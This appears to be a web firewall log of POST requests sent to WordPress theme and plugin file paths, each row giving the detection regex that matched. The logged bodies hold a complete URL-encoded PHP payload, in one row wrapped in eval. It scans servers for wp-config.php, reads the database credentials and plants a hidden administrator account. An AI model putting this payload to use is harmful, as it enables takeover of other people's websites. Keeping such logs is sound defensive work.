["2026-04-18 17:31:19","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZQ:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-user:?1\ncontent-length:12640\nsec-fetch-dest:document\n\nZQ=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 17:31:46","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3